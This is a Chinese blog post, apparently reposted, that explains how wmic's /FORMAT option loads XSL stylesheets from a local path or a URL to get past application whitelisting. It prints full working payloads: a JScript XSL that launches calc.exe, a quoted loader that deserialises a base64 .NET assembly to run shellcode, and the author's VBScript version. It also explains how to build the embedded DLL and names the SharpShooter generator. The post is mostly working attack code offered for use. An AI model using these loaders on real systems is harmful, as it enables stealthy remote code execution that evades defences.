slm程序怎么做(利用wmic调用xsl文件的分析与利用以及细节的答疑)

Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。这个发现很有用,不仅可以作为一种白名单绕过的方法,而且可以作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)。

本地简单的一个wmic.xsl文件内容如下:

<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </ms:script> </stylesheet>

远程执行命令:wmic os get /FORMAT:"https://example.com/wmic.xsl"

或本地执行命令:wmic os get /FORMAT:"d:\wmic.xsl"

均会弹出计算器,如图所示:

slm程序怎么做(利用wmic调用xsl文件的分析与利用以及细节的答疑)(1)

最近在github上获得star很多的点赞教程,micro8.gitbook.io/micro8/contents-1/71-80/80-ji-yu-bai-ming-dan-wmic-zhi-hang-payload-di-shi-ji,也提到了这个用法。它原文中是用了一个执行shellcode的Micropoor_Win7.xsl,代码如下:

<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas‐microsoft‐com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements‐prefix="user" language="JScript"> <![CDATA[ function setversion() { } function debug(s) {} function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms; } var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy";'这是一串base64代码,我省略了很多。 var entry_class = 'ShellCodeLauncher.Program'; try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); } catch (e) { debug(e.message); } ]]> </ms:script> </stylesheet>

代码中的哪些base64是什么呢?土司论坛中我看到了一篇文章,竟然说是exe文件的base64编码,说是用任意一个exe编码成base64,然后替换就可以了,这个是不对的。我在我头条号上更正吧。

这个是一个dll的base编码(当然用exe也可以),不过这个文件是有要求的,注意代码中的这一句”var entry_class = 'ShellCodeLauncher.Program'; “,说明这是一个类名为ShellCodeLauncher.Program的net程序的base64编码。

我写了一个简单的示例:

slm程序怎么做(利用wmic调用xsl文件的分析与利用以及细节的答疑)(2)

这个文件生成dll后再编码就可以调用了。注意这个dll的类名为EvalPeak。

所以我的xsl文件代码如下,由于我熟悉vbs,所以我是用vbs写的。

<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="VBScript"> <![CDATA[ Sub Debug(s) WScript.Echo s End Sub Sub SetVersion Dim shell Set shell = CreateObject("WScript.Shell") Dim ver : ver = "v4.0.30319" On Error Resume Next shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\" If(Err.Number <> 0)Then ver = "v2.0.50727" Err.Clear End If shell.Environment("Process").Item("COMPLUS_Version") = ver End Sub Function Base64ToStream(b) Dim enc, length, ba, transform, ms Set ms = CreateObject("System.IO.MemoryStream") Set enc = CreateObject("System.Text.ASCIIEncoding") Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") length = enc.GetByteCount_2(b) ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3) ms.Position = 0 Set Base64ToStream = ms End Function Sub Run() Dim s, entry_class s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy" s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph" s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk" s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD" s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl" s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU" s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl" ‘省略了好多base64字符串 entry_class = "EvalPeak" Dim fmt, al, d, o Set al = CreateObject("System.Collections.ArrayList") Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") al.Add fmt.SurrogateSelector Set d = fmt.Deserialize_2(Base64ToStream(s)) Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class) o.lcx "calc.exe" End Sub SetVersion() On Error Resume Next Run() If(Err.Number <> 0)Then Debug Err.Description Err.Clear End If ]]> </ms:script> </stylesheet>

这个代码按wmic格式运行后也会弹出计算器。

如果你不会.net程序,不会代码怎么办。其实也有现成的生成xsl工具,就是SharpShooter。

slm程序怎么做(利用wmic调用xsl文件的分析与利用以及细节的答疑)(3)

这个工具具体如何利用,我们下次再聊。

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页